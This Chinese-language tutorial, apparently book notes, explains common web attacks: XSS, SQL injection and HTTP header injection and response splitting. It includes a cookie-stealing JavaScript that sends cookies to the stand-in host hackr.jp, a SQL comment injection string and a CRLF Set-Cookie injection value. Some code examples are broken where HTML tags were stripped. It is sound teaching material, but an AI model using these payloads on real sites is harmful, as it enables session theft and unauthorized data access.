常见的Web攻击技术

前言

互联网上的攻击大都将 Web 站点作为目标。 本章讲解具体有哪些攻击 Web 站点的手段， 以及攻击会造成怎样的影响

简单的 HTTP 协议本身并不存在安全性问题， 因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端， 以及运行在服务器上的 Web 应用等资源才是攻击目标。

HTTP 不具备必要的安全功能

• 与最初的设计相比， 现今的 Web 网站应用的 HTTP 协议的使用方式已发生了翻天覆地的变化。 几乎现今所有的 Web 网站都会使用会话（session） 管理、 加密处理等安全性方面的功能， 而 HTTP 协议内并不具备这些功能。

• 从整体上看， HTTP 就是一个通用的单纯协议机制。 因此它具备较多优势， 但是在安全性方面则呈劣势。

  • 就拿远程登录时会用到的 SSH 协议来说， SSH 具备协议级别的认证及会话管理等功能， HTTP 协议则没有。 另外在架设 SSH 服务方面，任何人都可以轻易地创建安全等级高的服务， 而 HTTP 即使已架设好服务器， 但若想提供服务器基础上的 Web 应用， 很多情况下都需要重新开发。
  • 因此， 开发者需要自行设计并开发认证及会话管理功能来满足 Web应用的安全。 而自行设计就意味着会出现各种形形色色的实现。 结果， 安全等级并不完备， 可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。

在客户端即可篡改请求

• 在 Web 应用中， 从浏览器那接收到的 HTTP 请求的全部内容， 都可以在客户端自由地变更、 篡改。 所以 Web 应用可能会接收到与预期数据不相同的内容。
• 在 HTTP 请求报文内加载攻击代码， 就能发起对 Web 应用的攻击。通过 URL查询字段或表单、 HTTP 首部、 Cookie 等途径把攻击代码传入， 若这时 Web 应用存在安全漏洞， 那内部信息就会遭到窃取， 或被攻击者拿到管理权限

针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

• 主动攻击
• 被动攻击

以服务器为目标的主动攻击

主动攻击（active attack） 是指攻击者通过直接访问 Web 应用，把攻击代码传入的攻击模式。 由于该模式是直接针对服务器上的资源进行攻击， 因此攻击者需要能够访问到那些资源。

• 主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击

以服务器为目标的被动攻击
被动攻击（passive attack） 是指利用圈套策略执行攻击代码的攻击模式。 在被动攻击过程中， 攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击通常的攻击模式如下所示。

• 步骤 1： 攻击者诱使用户触发已设置好的陷阱， 而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
• 步骤 2： 当用户不知不觉中招之后， 用户的浏览器或邮件客户端就会触发这个陷阱。
• 步骤 3： 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用， 运行攻击代码。
• 步骤 4： 执行完攻击代码， 存在安全漏洞的 Web 应用会成为攻击者的跳板， 可能导致用户所持的 Cookie 等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果。

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

• 企业内网攻破

因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。客户端的验证 Web 应用端（ 服务器端） 的验证输入值验证输出值转义

• 多数情况下采用 JavaScript 在客户端验证数据。 可是在客户端允许篡改数据或关闭 JavaScript， 不适合将 JavaScript 验证作为安全的防范对策。 保留客户端验证只是为了尽早地辨识输入错误， 起到提高 UI体验的作用。

• Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。 输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

• 从数据库或文件系统、 HTML、 邮件等输出 Web 应用处理的数据之际， 针对输出做值转义处理是一项至关重要的安全策略。 当输出值转义不完全时， 会因触发攻击者传入的攻击代码， 而给输出对象带来损害。

跨站脚本攻击XSS

跨站脚本攻击（Cross-Site Scripting， XSS） 是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。 动态创建的 HTML部分有可能隐藏着安全漏洞。 就这样， 攻击者编写脚本设下陷阱， 用户在自己的浏览器上运行时， 一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

• 利用虚假输入表单骗取用户个人信息。
• 利用脚本窃取用户的 Cookie 值， 被害者在不知情的情况下，帮助攻击者发送恶意请求。
• 显示伪造的文章或图片。

XSS实例

初始XSS

此时的确认界面上， 浏览器会把用户输入的 解析成 HTML标签， 然后显示删除线。

• 删除线显示出来并不会造成太大的不利后果， 但如果换成使用script 标签将会如何呢。
• XSS 是攻击者利用预先设置的陷阱触发的被动攻击跨站脚本攻击属于被动攻击模式， 因此攻击者会事先布置好用于攻击的陷阱

严重的例子——盗取用户个人信息

网站通过地址栏中 URI 的查询字段指定 ID， 即相当于在表单内自动填写字符串的功能。 而就在这个地方， 隐藏着可执行跨站脚本攻击的漏洞。

对请求时对应的HTML源代码（摘录）

<div class="logo">
	<img src="/img/logo.gif" alt="E! 拍卖会" />
div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
	ID <input type="text" name="ID" value="yama" />
div>

充分熟知此处漏洞特点的攻击者， 于是就创建了下面这段嵌入恶意代码的 URL。 并隐藏植入事先准备好的欺诈邮件中或 Web 页面内， 诱使用户去点击该 URL。

http://example.jp/login?ID= ">  

浏览器打开该 URI 后， 直观感觉没有发生任何变化， 但设置好的脚本却偷偷开始运行了。 当用户在表单内输入 ID 和密码之后，就会直接发送到攻击者的网站（也就是 hackr.jp） ， 导致个人登录信息被窃取

对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外， 下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式， 窃取到用户的 Cookie 信息。

该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write(");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序， 即可访问到该 Web 应用所处域名下的 Cookie 信息。 然 后这些信息会发送至攻击者的 Web 网站（http://hackr.jp/） ， 记录在他的登录日志中。 结果， 攻击者就这样窃取到用户的 Cookie 信息了。

SQL 注入攻击

SQL注入（SQL Injection） 是指针对 Web 应用使用的数据库， 通过运行非法的 SQL而产生的攻击。 该安全隐患有可能引发极大的威胁， 有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库， 当需要对数据库表内的数据进行检索或添加、 删除等操作时， 会使用 SQL语句连接数据库进行特定的操作。 如果在调用 SQL语句的方式上存在疏漏， 就有可能执行被恶意注入（Injection） 非法 SQL语句。

SQL注入攻击有可能会造成以下等影响

• 非法查看或篡改数据库内的数据
• 规避认证
• 执行和数据库服务器业务关联的程序等

实例

• 我们要进行搜索关于上野宣相关的数据，并且是满足可以销售的
  • SELECT * FROM bookTbl WHERE author = ‘上野宣’ and flag = 1 用这句SQL搜索出对对应的数据
• 但是如果对SQL语句做手脚，也就是对q进行做手脚 q=上野宣’ - - ,如果不做处理，后端对应的SQL语句为
  • SELECT * FROM bookTbl WHERE author =‘上野宣’ - -’ and flag=1;
  • SQL语句中的 – 之后全视为注释。 即， and flag=1 这个条件被自动忽略了。 也就会显示那些不可销售的书籍

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL注入攻击时， 很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改， 从而使用户遭受不同程度的损失。

HTTP 首部注入攻击

HTTP 首部注入攻击（HTTP Header Injection） 是指攻击者通过在响应首部字段内插入换行， 添加任意响应首部或主体的一种攻击。 属于被动攻击模式。向首部主体内添加内容的攻击称为 HTTP 响应截断攻击（HTTPResponse Splitting Attack） 。
如下所示， Web 应用有时会把从外部接收到的数值， 赋给响应首部字段 Location 和 Set-Cookie。

• Location: http://www.example.com/a.cgi?q=12345
• Set-Cookie: UID=12345

HTTP 首部注入可能像这样， 通过在某些响应首部字段需要处理输出值的地方， 插入换行发动攻击。

HTTP 首部注入攻击有可能会造成以下一些影响。

• 设置任何 Cookie 信息
• 重定向至任意 URL
• 显示任意的主体（ HTTP 响应截断攻击）

HTTP 首部注入攻击案例

• 下面我们以选定某个类别后即可跳转至各类别对应页面的功能为
• 讲解 HTTP 首部注入攻击。 该功能为每个类别都设定了一个类别 ID 值， 一旦选定某类别， 就会将该 ID 值反映在响应内的Location 首部字段内， 形如 Location: http://example.com/?cat=101。 令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别 ID 后发送请求。

• 101%0D%0ASet-Cookie:+SID=123456789
  • 其中， %0D%0A 代表 HTTP 报文中的换行符， 紧接着的是可强制将攻击者网站（http://hackr.jp/） 的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。
• 发送该请求之后， 假设结果返回以下响应。

- Location: http://example.com/?cat=101（%0D%0A ： 换行符）
- Set-Cookie: SID=123456789

此刻， 首部字段 Set-Cookie 已生效， 因此攻击者可指定修改任意的 Cookie 信息。 通过和会话固定攻击（攻击者可使用指定的会话 ID） 攻击组合， 攻击者可伪装成用户。攻击者输入的 %0D%0A， 原本应该属于首部字段 Location 的查询值部分， 但经过解析后， %0D%0A 变成了换行符， 结果插入了新的首部字段。这样一来， 攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。 攻击顺序相同， 但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。 利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了， 这样就能显示伪造的主体， 达到攻击目的。 这样的攻击叫做 HTTP 响应截断攻击。

• %0D%0A%0D%0A